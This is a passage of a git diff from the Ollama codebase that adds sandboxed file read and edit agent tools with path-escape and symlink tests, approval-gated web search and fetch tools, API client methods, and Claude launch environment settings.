plural(n int) string { + if n == 1 { + return "" + } + return "s" +} diff --git a/agent/tools/file_test.go b/agent/tools/file_test.go new file mode 100644 index 000000000..396f84d22 --- /dev/null +++ b/agent/tools/file_test.go @@ -0,0 +1,297 @@ +package tools + +import ( + "context" + "io" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/ollama/ollama/agent" +) + +func TestEditReplacesUniqueText(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "note.txt") + if err := os.WriteFile(path, []byte("hello world\n"), 0o644); err != nil { + t.Fatal(err) + } + + result, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{ + "path": "note.txt", + "old_text": "hello", + "new_text": "hi", + }) + if err != nil { + t.Fatal(err) + } + if !strings.Contains(result.Content, "Updated note.txt") { + t.Fatalf("result = %q", result.Content) + } + + content, err := os.ReadFile(path) + if err != nil { + t.Fatal(err) + } + if string(content) != "hi world\n" { + t.Fatalf("content = %q", content) + } +} + +func TestEditRequiresUniqueMatchByDefault(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "note.txt") + if err := os.WriteFile(path, []byte("same same\n"), 0o644); err != nil { + t.Fatal(err) + } + + _, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{ + "path": "note.txt", + "old_text": "same", + "new_text": "other", + }) + if err == nil { + t.Fatal("expected ambiguous edit to fail") + } + if !strings.Contains(err.Error(), "matched 2 times") { + t.Fatalf("err = %v", err) + } +} + +func TestEditRejectsEscapingPath(t *testing.T) { + dir := t.TempDir() + _, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{ + "path": "../outside.txt", + "old_text": "old", + "new_text": "new", + }) + if err == nil { + t.Fatal("expected escaping path to fail") + } + if !strings.Contains(err.Error(), "path escapes working directory") { + t.Fatalf("err = %v", err) + } +} + +func TestEditRejectsSymlinkEscape(t *testing.T) { + dir := t.TempDir() + outside := t.TempDir() + if err := os.WriteFile(filepath.Join(outside, "note.txt"), []byte("old\n"), 0o644); err != nil { + t.Fatal(err) + } + if err := os.Symlink(outside, filepath.Join(dir, "link")); err != nil { + t.Skipf("symlinks unavailable: %v", err) + } + + _, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{ + "path": filepath.Join("link", "note.txt"), + "old_text": "old", + "new_text": "new", + }) + if err == nil { + t.Fatal("expected symlink escape to fail") + } + if !strings.Contains(err.Error(), "path escapes working directory") { + t.Fatalf("err = %v", err) + } + + content, err := os.ReadFile(filepath.Join(outside, "note.txt")) + if err != nil { + t.Fatal(err) + } + if string(content) != "old\n" { + t.Fatalf("outside content changed to %q", content) + } +} + +func TestEditRejectsFinalSymlink(t *testing.T) { + dir := t.TempDir() + target := filepath.Join(dir, "target.txt") + if err := os.WriteFile(target, []byte("old\n"), 0o644); err != nil { + t.Fatal(err) + } + link := filepath.Join(dir, "link.txt") + if err := os.Symlink("target.txt", link); err != nil { + t.Skipf("symlinks unavailable: %v", err) + } + + _, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{ + "path": "link.txt", + "old_text": "old", + "new_text": "new", + }) + if err == nil { + t.Fatal("expected final symlink edit to fail") + } + if !strings.Contains(err.Error(), "is a symlink") { + t.Fatalf("err = %v", err) + } + content, err := os.ReadFile(target) + if err != nil { + t.Fatal(err) + } + if string(content) != "old\n" { + t.Fatalf("target content changed to %q", content) + } + info, err := os.Lstat(link) + if err != nil { + t.Fatal(err) + } + if info.Mode()&os.ModeSymlink == 0 { + t.Fatalf("link mode = %v, want symlink", info.Mode()) + } +} + +func TestReadRejectsParentOutsideCurrentWorkingDir(t *testing.T) { + root := t.TempDir() + subdir := filepath.Join(root, "sub") + if err := os.Mkdir(subdir, 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(root, "note.txt"), []byte("hello"), 0o644); err != nil { + t.Fatal(err) + } + + _, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: subdir}, map[string]any{ + "path": "../note.txt", + }) + if err == nil { + t.Fatal("expected parent path to fail") + } + if !strings.Contains(err.Error(), "path escapes working directory") { + t.Fatalf("err = %v", err) + } +} + +func TestReadRequiresApproval(t *testing.T) { + if !agent.ToolRequiresApproval((&Read{}), map[string]any{"path": "note.txt"}) { + t.Fatal("read should require approval") + } +} + +func TestReadDefaultsToEntireFile(t *testing.T) { + dir := t.TempDir() + content := "one\ntwo\nthree\n" + if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte(content), 0o644); err != nil { + t.Fatal(err) + } + + result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{ + "path": "note.txt", + }) + if err != nil { + t.Fatal(err) + } + if result.Content != content { + t.Fatalf("content = %q", result.Content) + } +} + +func TestReadStartEnd(t *testing.T) { + dir := t.TempDir() + if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil { + t.Fatal(err) + } + + result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{ + "path": "note.txt", + "start": 2, + "end": 3, + }) + if err != nil { + t.Fatal(err) + } + if result.Content != "two\nthree\n" { + t.Fatalf("content = %q", result.Content) + } +} + +func TestReadStartOnly(t *testing.T) { + dir := t.TempDir() + if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil { + t.Fatal(err) + } + + result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{ + "path": "note.txt", + "start": 3, + }) + if err != nil { + t.Fatal(err) + } + if result.Content != "three\nfour\n" { + t.Fatalf("content = %q", result.Content) + } +} + +func TestReadEndOnly(t *testing.T) { + dir := t.TempDir() + if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil { + t.Fatal(err) + } + + result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{ + "path": "note.txt", + "end": 2, + }) + if err != nil { + t.Fatal(err) + } + if result.Content != "one\ntwo\n" { + t.Fatalf("content = %q", result.Content) + } +} + +func TestReadSelectionRejectsHugeSingleLine(t *testing.T) { + dir := t.TempDir() + if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte(strings.Repeat("x", maxReadBytes+1)), 0o644); err != nil { + t.Fatal(err) + } + + _, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{ + "path": "note.txt", + "start": 1, + "end": 1, + }) + if err == nil { + t.Fatal("expected huge selected line to fail") + } + if !strings.Contains(err.Error(), "selected content is too large") { + t.Fatalf("err = %v", err) + } +} + +func TestReadAllWithinLimitRejectsGrowingRead(t *testing.T) { + reader := io.MultiReader( + strings.NewReader(strings.Repeat("x", maxReadBytes)), + strings.NewReader("x"), + ) + + _, err := readAllWithinLimit(reader, maxReadBytes) + if err == nil { + t.Fatal("expected over-limit read to fail") + } + if !strings.Contains(err.Error(), "content is too large") { + t.Fatalf("err = %v", err) + } +} + +func TestReadRejectsInvalidRange(t *testing.T) { + dir := t.TempDir() + if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\n"), 0o644); err != nil { + t.Fatal(err) + } + + _, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{ + "path": "note.txt", + "start": 4, + "end": 2, + }) + if err == nil { + t.Fatal("expected invalid range to fail") + } + if !strings.Contains(err.Error(), "end must") { + t.Fatalf("err = %v", err) + } +} diff --git a/agent/tools/file_unix_test.go b/agent/tools/file_unix_test.go new file mode 100644 index 000000000..88203eef2 --- /dev/null +++ b/agent/tools/file_unix_test.go @@ -0,0 +1,75 @@ +//go:build !windows + +package tools + +import ( + "context" + "os" + "path/filepath" + "strings" + "syscall" + "testing" + "time" + + "github.com/ollama/ollama/agent" +) + +func TestOpenRegularFileRejectsFIFO(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "pipe") + if err := syscall.Mkfifo(path, 0o600); err != nil { + t.Skipf("mkfifo unavailable: %v", err) + } + + done := make(chan error, 1) + go func() { + file, _, err := openRegularFile(dir, "pipe") + if file != nil { + file.Close() + } + done <- err + }() + + select { + case err := <-done: + if err == nil { + t.Fatal("expected FIFO to be rejected") + } + if !strings.Contains(err.Error(), "not a regular file") { + t.Fatalf("err = %v", err) + } + case <-time.After(time.Second): + t.Fatal("openRegularFile blocked on FIFO") + } +} + +func TestEditPreservesModeDespiteUmask(t *testing.T) { + oldUmask := syscall.Umask(0o077) + defer syscall.Umask(oldUmask) + + dir := t.TempDir() + path := filepath.Join(dir, "note.txt") + if err := os.WriteFile(path, []byte("hello\n"), 0o666); err != nil { + t.Fatal(err) + } + if err := os.Chmod(path, 0o666); err != nil { + t.Fatal(err) + } + + _, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{ + "path": "note.txt", + "old_text": "hello", + "new_text": "hi", + }) + if err != nil { + t.Fatal(err) + } + + info, err := os.Stat(path) + if err != nil { + t.Fatal(err) + } + if got := info.Mode().Perm(); got != 0o666 { + t.Fatalf("mode = %#o, want 0666", got) + } +} diff --git a/agent/tools/web.go b/agent/tools/web.go new file mode 100644 index 000000000..92288a5d9 --- /dev/null +++ b/agent/tools/web.go @@ -0,0 +1,195 @@ +package tools + +import ( + "context" + "errors" + "fmt" + "net/url" + "strings" + "time" + + "github.com/ollama/ollama/agent" + "github.com/ollama/ollama/api" + internalcloud "github.com/ollama/ollama/internal/cloud" +) + +var ( + ErrWebSearchAuthRequired = errors.New("web search requires authentication") + ErrWebFetchAuthRequired = errors.New("web fetch requires authentication") +) + +const ( + maxWebFetchContentRunes = 60_000 + webSearchTimeout = 15 * time.Second + webFetchTimeout = 30 * time.Second +) + +type WebSearch struct{} + +func (w *WebSearch) Name() string { + return "web_search" +} + +func (w *WebSearch) Description() string { + return "Search the web for current information that may not be in the model's training data." +} + +func (w *WebSearch) Schema() api.ToolFunction { + props := api.NewToolPropertiesMap() + props.Set("query", api.ToolProperty{ + Type: api.PropertyType{"string"}, + Description: "The search query to look up on the web.", + }) + return api.ToolFunction{ + Name: w.Name(), + Description: w.Description(), + Parameters: api.ToolFunctionParameters{ + Type: "object", + Properties: props, + Required: []string{"query"}, + }, + } +} + +func (w *WebSearch) RequiresApproval(map[string]any) bool { + return true +} + +func (w *WebSearch) Execute(ctx context.Context, _ agent.ToolContext, args map[string]any) (agent.ToolResult, error) { + if internalcloud.Disabled() { + return agent.ToolResult{}, errors.New(internalcloud.DisabledError("web search is unavailable")) + } + query, ok := args["query"].(string) + if !ok || strings.TrimSpace(query) == "" { + return agent.ToolResult{}, fmt.Errorf("query parameter is required") + } + + client, err := api.ClientFromEnvironment() + if err != nil { + return agent.ToolResult{}, err + } + + ctx, cancel := context.WithTimeout(ctx, webSearchTimeout) + defer cancel() + + searchResp, err := client.WebSearchExperimental(ctx, &api.WebSearchRequest{Query: query, MaxResults: 5}) + if err != nil { + var authErr api.AuthorizationError + if errors.As(err, &authErr) { + return agent.ToolResult{}, ErrWebSearchAuthRequired + } + return agent.ToolResult{}, err + } + if len(searchResp.Results) == 0 { + return agent.ToolResult{Content: "No results found for query: " + query}, nil + } + + var sb strings.Builder + sb.WriteString(fmt.Sprintf("Search results for: %s\n\n", query)) + for i, result := range searchResp.Results { + sb.WriteString(fmt.Sprintf("%d. %s\n", i+1, result.Title)) + sb.WriteString(fmt.Sprintf(" URL: %s\n", result.URL)) + if result.Content != "" { + content := []rune(result.Content) + if len(content) > 300 { + content = append(content[:300], []rune("...")...) + } + sb.WriteString(fmt.Sprintf(" %s\n", string(content))) + } + sb.WriteByte('\n') + } + return agent.ToolResult{Content: sb.String()}, nil +} + +type WebFetch struct{} + +func (w *WebFetch) Name() string { + return "web_fetch" +} + +func (w *WebFetch) Description() string { + return "Fetch and extract text content from a web page." +} + +func (w *WebFetch) Schema() api.ToolFunction { + props := api.NewToolPropertiesMap() + props.Set("url", api.ToolProperty{ + Type: api.PropertyType{"string"}, + Description: "The URL to fetch and extract content from.", + }) + return api.ToolFunction{ + Name: w.Name(), + Description: w.Description(), + Parameters: api.ToolFunctionParameters{ + Type: "object", + Properties: props, + Required: []string{"url"}, + }, + } +} + +func (w *WebFetch) RequiresApproval(map[string]any) bool { + return true +} + +func (w *WebFetch) Execute(ctx context.Context, _ agent.ToolContext, args map[string]any) (agent.ToolResult, error) { + if internalcloud.Disabled() { + return agent.ToolResult{}, errors.New(internalcloud.DisabledError("web fetch is unavailable")) + } + urlStr, ok := args["url"].(string) + if !ok || strings.TrimSpace(urlStr) == "" { + return agent.ToolResult{}, fmt.Errorf("url parameter is required") + } + if _, err := url.Parse(urlStr); err != nil { + return agent.ToolResult{}, fmt.Errorf("invalid URL: %w", err) + } + + client, err := api.ClientFromEnvironment() + if err != nil { + return agent.ToolResult{}, err + } + + ctx, cancel := context.WithTimeout(ctx, webFetchTimeout) + defer cancel() + + fetchResp, err := client.WebFetchExperimental(ctx, &api.WebFetchRequest{URL: urlStr}) + if err != nil { + var authErr api.AuthorizationError + if errors.As(err, &authErr) { + return agent.ToolResult{}, ErrWebFetchAuthRequired + } + return agent.ToolResult{}, err + } + + var sb strings.Builder + if fetchResp.Title != "" { + sb.WriteString(fmt.Sprintf("Title: %s\n\n", fetchResp.Title)) + } + if fetchResp.Content != "" { + sb.WriteString("Content:\n") + sb.WriteString(truncateWebFetchContent(fetchResp.Content)) + } else { + sb.WriteString("No content could be extracted from the page.") + } + return agent.ToolResult{Content: sb.String()}, nil +} + +func truncateWebFetchContent(content string) string { + runes := []rune(content) + if len(runes) <= maxWebFetchContentRunes { + return content + } + omitted := len(runes) - maxWebFetchContentRunes + return string(runes[:maxWebFetchContentRunes]) + fmt.Sprintf( + "\n\n[tool output truncated: showing first ~%d tokens; omitted ~%d tokens. Use a narrower request or search query if more detail is needed.]", + approximateToolTokensFromRunes(maxWebFetchContentRunes), + approximateToolTokensFromRunes(omitted), + ) +} + +func approximateToolTokensFromRunes(n int) int { + if n <= 0 { + return 0 + } + return max(1, (n+3)/4) +} diff --git a/agent/tools/web_test.go b/agent/tools/web_test.go new file mode 100644 index 000000000..acd2bcf05 --- /dev/null +++ b/agent/tools/web_test.go @@ -0,0 +1,59 @@ +package tools + +import ( + "encoding/json" + "net/http" + "net/http/httptest" + "strings" + "testing" + + coreagent "github.com/ollama/ollama/agent" + "github.com/ollama/ollama/api" +) + +func TestWebToolsRequireApproval(t *testing.T) { + if !coreagent.ToolRequiresApproval((&WebSearch{}), map[string]any{"query": "ollama"}) { + t.Fatal("web search should require approval") + } + if !coreagent.ToolRequiresApproval((&WebFetch{}), map[string]any{"url": "https://ollama.com"}) { + t.Fatal("web fetch should require approval") + } +} + +func TestWebFetchBoundsContentBeforeReturning(t *testing.T) { + ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.URL.Path != "/api/experimental/web_fetch" { + t.Fatalf("path = %q, want /api/experimental/web_fetch", r.URL.Path) + } + var req api.WebFetchRequest + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + t.Fatal(err) + } + if req.URL != "https://ollama.com" { + t.Fatalf("request URL = %q, want https://ollama.com", req.URL) + } + if err := json.NewEncoder(w).Encode(api.WebFetchResponse{ + Title: "Ollama", + Content: strings.Repeat("x", maxWebFetchContentRunes+25), + }); err != nil { + t.Fatal(err) + } + })) + defer ts.Close() + t.Setenv("OLLAMA_HOST", ts.URL) + + result, err := (&WebFetch{}).Execute(t.Context(), coreagent.ToolContext{}, map[string]any{ + "url": "https://ollama.com", + }) + if err != nil { + t.Fatal(err) + } + if !strings.Contains(result.Content, "[tool output truncated: showing first ~") || + !strings.Contains(result.Content, "omitted ~7 tokens") || + !strings.Contains(result.Content, "Use a narrower request or search query") { + t.Fatalf("content missing truncation marker: %q", result.Content) + } + if count := strings.Count(result.Content, "x"); count != maxWebFetchContentRunes { + t.Fatalf("captured content count = %d, want %d", count, maxWebFetchContentRunes) + } +} diff --git a/api/client.go b/api/client.go index 4e65d2701..46e948d09 100644 --- a/api/client.go +++ b/api/client.go @@ -473,6 +473,26 @@ func (c *Client) CloudStatusExperimental(ctx context.Context) (*StatusResponse, return &status, nil } +// WebSearchExperimental searches the web through the local server's +// experimental web search endpoint. +func (c *Client) WebSearchExperimental(ctx context.Context, req *WebSearchRequest) (*WebSearchResponse, error) { + var resp WebSearchResponse + if err := c.do(ctx, http.MethodPost, "/api/experimental/web_search", req, &resp); err != nil { + return nil, err + } + return &resp, nil +} + +// WebFetchExperimental fetches web page content through the local server's +// experimental web fetch endpoint. +func (c *Client) WebFetchExperimental(ctx context.Context, req *WebFetchRequest) (*WebFetchResponse, error) { + var resp WebFetchResponse + if err := c.do(ctx, http.MethodPost, "/api/experimental/web_fetch", req, &resp); err != nil { + return nil, err + } + return &resp, nil +} + // Signout will signout a client for a local ollama server. func (c *Client) Signout(ctx context.Context) error { return c.do(ctx, http.MethodPost, "/api/signout", nil, nil) diff --git a/api/client_test.go b/api/client_test.go index cdd9423bc..e42561944 100644 --- a/api/client_test.go +++ b/api/client_test.go @@ -351,6 +351,82 @@ func TestClientDo(t *testing.T) { } } +func TestClientWebSearchExperimentalUsesLocalRoute(t *testing.T) { + var gotPath string + var gotMethod string + var gotRequest WebSearchRequest + ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + gotPath = r.URL.Path + gotMethod = r.Method + if err := json.NewDecoder(r.Body).Decode(&gotRequest); err != nil { + t.Fatal(err) + } + if err := json.NewEncoder(w).Encode(WebSearchResponse{ + Results: []WebSearchResult{{Title: "Ollama", URL: "https://ollama.com", Content: "models"}}, + }); err != nil { + t.Fatal(err) + } + })) + defer ts.Close() + + client := NewClient(&url.URL{Scheme: "http", Host: ts.Listener.Addr().String()}, http.DefaultClient) + resp, err := client.WebSearchExperimental(t.Context(), &WebSearchRequest{Query: "ollama", MaxResults: 3}) + if err != nil { + t.Fatal(err) + } + if gotMethod != http.MethodPost { + t.Fatalf("method = %q, want POST", gotMethod) + } + if gotPath != "/api/experimental/web_search" { + t.Fatalf("path = %q, want /api/experimental/web_search", gotPath) + } + if gotRequest.Query != "ollama" || gotRequest.MaxResults != 3 { + t.Fatalf("request = %#v", gotRequest) + } + if len(resp.Results) != 1 || resp.Results[0].Title != "Ollama" { + t.Fatalf("response = %#v", resp) + } +} + +func TestClientWebFetchExperimentalUsesLocalRoute(t *testing.T) { + var gotPath string + var gotMethod string + var gotRequest WebFetchRequest + ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + gotPath = r.URL.Path + gotMethod = r.Method + if err := json.NewDecoder(r.Body).Decode(&gotRequest); err != nil { + t.Fatal(err) + } + if err := json.NewEncoder(w).Encode(WebFetchResponse{ + Title: "Ollama", + Content: "models", + Links: []string{"https://ollama.com/library"}, + }); err != nil { + t.Fatal(err) + } + })) + defer ts.Close() + + client := NewClient(&url.URL{Scheme: "http", Host: ts.Listener.Addr().String()}, http.DefaultClient) + resp, err := client.WebFetchExperimental(t.Context(), &WebFetchRequest{URL: "https://ollama.com"}) + if err != nil { + t.Fatal(err) + } + if gotMethod != http.MethodPost { + t.Fatalf("method = %q, want POST", gotMethod) + } + if gotPath != "/api/experimental/web_fetch" { + t.Fatalf("path = %q, want /api/experimental/web_fetch", gotPath) + } + if gotRequest.URL != "https://ollama.com" { + t.Fatalf("request = %#v", gotRequest) + } + if resp.Title != "Ollama" || resp.Content != "models" { + t.Fatalf("response = %#v", resp) + } +} + type roundTripFunc func(*http.Request) (*http.Response, error) func (f roundTripFunc) RoundTrip(req *http.Request) (*http.Response, error) { diff --git a/api/types.go b/api/types.go index f28fc818b..bff40868d 100644 --- a/api/types.go +++ b/api/types.go @@ -869,6 +869,36 @@ type StatusResponse struct { ContextLength int `json:"context_length,omitempty"` } +// WebSearchRequest is the request for [Client.WebSearchExperimental]. +type WebSearchRequest struct { + Query string `json:"query"` + MaxResults int `json:"max_results,omitempty"` +} + +// WebSearchResult is a single result from [Client.WebSearchExperimental]. +type WebSearchResult struct { + Title string `json:"title"` + URL string `json:"url"` + Content string `json:"content"` +} + +// WebSearchResponse is the response from [Client.WebSearchExperimental]. +type WebSearchResponse struct { + Results []WebSearchResult `json:"results"` +} + +// WebFetchRequest is the request for [Client.WebFetchExperimental]. +type WebFetchRequest struct { + URL string `json:"url"` +} + +// WebFetchResponse is the response from [Client.WebFetchExperimental]. +type WebFetchResponse struct { + Title string `json:"title"` + Content string `json:"content"` + Links []string `json:"links,omitempty"` +} + // GenerateResponse is the response passed into [GenerateResponseFunc]. type GenerateResponse struct { // Model is the model name that generated the response. diff --git a/cmd/cmd.go b/cmd/cmd.go index 93a86682d..4396dc061 100644 --- a/cmd/cmd.go +++ b/cmd/cmd.go @@ -55,7 +55,6 @@ import ( "github.com/ollama/ollama/types/model" "github.com/ollama/ollama/types/syncmap" "github.com/ollama/ollama/version" - xcmd "github.com/ollama/ollama/x/cmd" xcreate "github.com/ollama/ollama/x/create" xcreateclient "github.com/ollama/ollama/x/create/client" "github.com/ollama/ollama/x/imagegen" @@ -885,11 +884,6 @@ func RunHandler(cmd *cobra.Command, args []string) error { return imagegen.RunCLI(cmd, name, opts.Prompt, interactive, opts.KeepAlive) } - // Check for experimental flag - isExperimental, _ := cmd.Flags().GetBool("experimental") - yoloMode, _ := cmd.Flags().GetBool("experimental-yolo") - enableWebsearch, _ := cmd.Flags().GetBool("experimental-websearch") - if interactive { if err := loadOrUnloadModel(cmd, &opts); err != nil { var sErr api.AuthorizationError @@ -916,11 +910,6 @@ func RunHandler(cmd *cobra.Command, args []string) error { } } - // Use experimental agent loop with tools - if isExperimental { - return xcmd.GenerateInteractive(cmd, opts.Model, opts.WordWrap, opts.Options, opts.Think, opts.HideThinking, opts.KeepAlive, yoloMode, enableWebsearch) - } - return generateInteractive(cmd, opts) } if err := generate(cmd, opts); err != nil { @@ -2413,9 +2402,6 @@ func NewCLI() *cobra.Command { runCmd.Flags().Bool("hidethinking", false, "Hide thinking output (if provided)") runCmd.Flags().Bool("truncate", false, "For embedding models: truncate inputs exceeding context length (default: true). Set --truncate=false to error instead") runCmd.Flags().Int("dimensions", 0, "Truncate output embeddings to specified dimension (embedding models only)") - runCmd.Flags().Bool("experimental", false, "Enable experimental agent loop with tools") - runCmd.Flags().Bool("experimental-yolo", false, "Skip all tool approval prompts (use with caution)") - runCmd.Flags().Bool("experimental-websearch", false, "Enable web search tool in experimental mode") // Image generation flags (width, height, steps, seed, etc.) imagegen.RegisterFlags(runCmd) diff --git a/cmd/launch/claude.go b/cmd/launch/claude.go index a2c02e140..d1765abb1 100644 --- a/cmd/launch/claude.go +++ b/cmd/launch/claude.go @@ -63,17 +63,25 @@ func (c *Claude) Run(model string, models []LaunchModel, args []string) error { cmd.Stdout = os.Stdout cmd.Stderr = os.Stderr - env := append(os.Environ(), - "ANTHROPIC_BASE_URL="+envconfig.Host().String(), + cmd.Env = append(os.Environ(), c.envVars(model, models...)...) + return cmd.Run() +} + +func (c *Claude) envVars(model string, models ...LaunchModel) []string { + env := []string{ + "ANTHROPIC_BASE_URL=" + envconfig.Host().String(), "ANTHROPIC_API_KEY=", "ANTHROPIC_AUTH_TOKEN=ollama", "CLAUDE_CODE_ATTRIBUTION_HEADER=0", - ) + "DISABLE_TELEMETRY=1", + "DISABLE_ERROR_REPORTING=1", + "DISABLE_FEEDBACK_COMMAND=1", + "CLAUDE_CODE_DISABLE_FEEDBACK_SURVEY=1", + "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC=1", + } env = append(env, c.modelEnvVars(model, models...)...) - - cmd.Env = env - return cmd.Run() + return env } func ensureClaudeInstalled() (string, error) { diff --git a/cmd/launch/claude_test.go b/cmd/launch/claude_test.go index 2aeabaed1..3fb34ee87 100644 --- a/cmd/launch/claude_test.go +++ b/cmd/launch/claude_test.go @@ -10,6 +10,8 @@ import ( "slices" "strings" "testing" + + "github.com/ollama/ollama/envconfig" ) func TestClaudeIntegration(t *testing.T) { @@ -334,6 +336,40 @@ func TestClaudeArgs(t *testing.T) { } } +func TestClaudeEnvVars(t *testing.T) { + c := &Claude{} + + envMap := func(envs []string) map[string]string { + m := make(map[string]string) + for _, e := range envs { + k, v, _ := strings.Cut(e, "=") + m[k] = v + } + return m + } + + got := envMap(c.envVars("llama3.2")) + for key, want := range map[string]string{ + "ANTHROPIC_BASE_URL": envconfig.Host().String(), + "ANTHROPIC_API_KEY": "", + "ANTHROPIC_AUTH_TOKEN": "ollama", + "CLAUDE_CODE_ATTRIBUTION_HEADER": "0", + "DISABLE_TELEMETRY": "1", + "DISABLE_ERROR_REPORTING": "1", + "DISABLE_FEEDBACK_COMMAND": "1", + "CLAUDE_CODE_DISABLE_FEEDBACK_SURVEY": "1", + "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC": "1", + "ANTHROPIC_DEFAULT_OPUS_MODEL": "llama3.2", + "ANTHROPIC_DEFAULT_SONNET_MODEL": "llama3.2", + "ANTHROPIC_DEFAULT_HAIKU_MODEL": "llama3.2", + "CLAUDE_CODE_SUBAGENT_MODEL": "llama3.2", + } { + if got[key] != want { + t.Errorf("%s = %q, want %q", key, got[key], want) + } + } +} + func TestClaudePrepareRunLaunchModelsWarnsForLowLocalContext(t *testing.T) { client, _ := testLauncherClientWithStatus(t, 32*1024) @@ -343,7 +379,7 @@ func TestClaudePrepareRunLaunchModelsWarnsForLowLocalContext(t *testing.T) { var gotPrompt string DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) { gotPrompt = prompt - if !options.DefaultNo { + if options.Default != ConfirmDefaultNo { t.Fatal("expected warning prompt to default to no") } if options.YesLabel != "Continue" || options.NoLabel != "Cancel" { diff --git a/cmd/launch/command_test.go b/cmd/launch/command_test.go index d1f6ff30f..8a23e98a2 100644 --- a/cmd/launch/command_test.go +++ b/cmd/launch/command_test.go @@ -281,7 +281,7 @@ func TestLaunchCmdModelFlagFiltersDisabledCloudFromSavedConfig(t *testing.T) { case "/api/status": fmt.Fprintf(w, `{"cloud":{"disabled":true,"source":"config"}}`) case "/api/show": - fmt.Fprintf(w, `{"model":"llama3.2"}`) + fmt.Fprintf(w, `{"model":"sample-model"}`) default: w.WriteHeader(http.StatusNotFound) } @@ -294,7 +294,7 @@ func TestLaunchCmdModelFlagFiltersDisabledCloudFromSavedConfig(t *testing.T) { defer restore() cmd := LaunchCmd(func(cmd *cobra.Command, args []string) error { return nil }, func(cmd *cobra.Command) {}) - cmd.SetArgs([]string{"stubeditor", "--model", "llama3.2"}) + cmd.SetArgs([]string{"stubeditor", "--model", "sample-model"}) if err := cmd.Execute(); err != nil { t.Fatalf("launch command failed: %v", err) } @@ -303,14 +303,14 @@ func TestLaunchCmdModelFlagFiltersDisabledCloudFromSavedConfig(t *testing.T) { if err != nil { t.Fatalf("failed to reload integration config: %v", err) } - if diff := cmp.Diff([]string{"llama3.2"}, saved.Models); diff != "" { + if diff := cmp.Diff([]string{"sample-model"}, saved.Models); diff != "" { t.Fatalf("saved models mismatch (-want +got):\n%s", diff) } - if diff := cmp.Diff([][]string{{"llama3.2"}}, stub.edited); diff != "" { + if diff := cmp.Diff([][]string{{"sample-model"}}, stub.edited); diff != "" { t.Fatalf("editor models mismatch (-want +got):\n%s", diff) } - if stub.ranModel != "llama3.2" { - t.Fatalf("expected launch to run with llama3.2, got %q", stub.ranModel) + if stub.ranModel != "sample-model" { + t.Fatalf("expected launch to run with sample-model, got %q", stub.ranModel) } } @@ -325,9 +325,9 @@ func TestLaunchCmdModelFlagClearsDisabledCloudOverride(t *testing.T) { case "/api/experimental/model-recommendations": fmt.Fprint(w, `{"recommendations":[]}`) case "/api/tags": - fmt.Fprint(w, `{"models":[{"name":"llama3.2"}]}`) + fmt.Fprint(w, `{"models":[{"name":"sample-model"}]}`) case "/api/show": - fmt.Fprint(w, `{"model":"llama3.2"}`) + fmt.Fprint(w, `{"model":"sample-model"}`) default: w.WriteHeader(http.StatusNotFound) } @@ -347,7 +347,7 @@ func TestLaunchCmdModelFlagClearsDisabledCloudOverride(t *testing.T) { DefaultSingleSelector = func(title string, items []SelectionItem, current string) (string, error) { selectorCalls++ gotCurrent = current - return "llama3.2", nil + return "sample-model", nil } cmd := LaunchCmd(func(cmd *cobra.Command, args []string) error { return nil }, func(cmd *cobra.Command) {}) @@ -364,7 +364,7 @@ func TestLaunchCmdModelFlagClearsDisabledCloudOverride(t *testing.T) { if gotCurrent != "" { t.Fatalf("expected disabled override to be cleared before selection, got current %q", gotCurrent) } - if stub.ranModel != "llama3.2" { + if stub.ranModel != "sample-model" { t.Fatalf("expected launch to run with replacement local model, got %q", stub.ranModel) } if !strings.Contains(stderr, "Warning: ignoring --model glm-5:cloud because cloud is disabled") { @@ -375,7 +375,7 @@ func TestLaunchCmdModelFlagClearsDisabledCloudOverride(t *testing.T) { if err != nil { t.Fatalf("failed to reload integration config: %v", err) } - if diff := cmp.Diff([]string{"llama3.2"}, saved.Models); diff != "" { + if diff := cmp.Diff([]string{"sample-model"}, saved.Models); diff != "" { t.Fatalf("saved models mismatch (-want +got):\n%s", diff) } } @@ -424,7 +424,7 @@ func TestLaunchCmdYes_AutoConfirmsLaunchPromptPath(t *testing.T) { srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.URL.Path { case "/api/show": - fmt.Fprint(w, `{"model":"llama3.2"}`) + fmt.Fprint(w, `{"model":"sample-model"}`) case 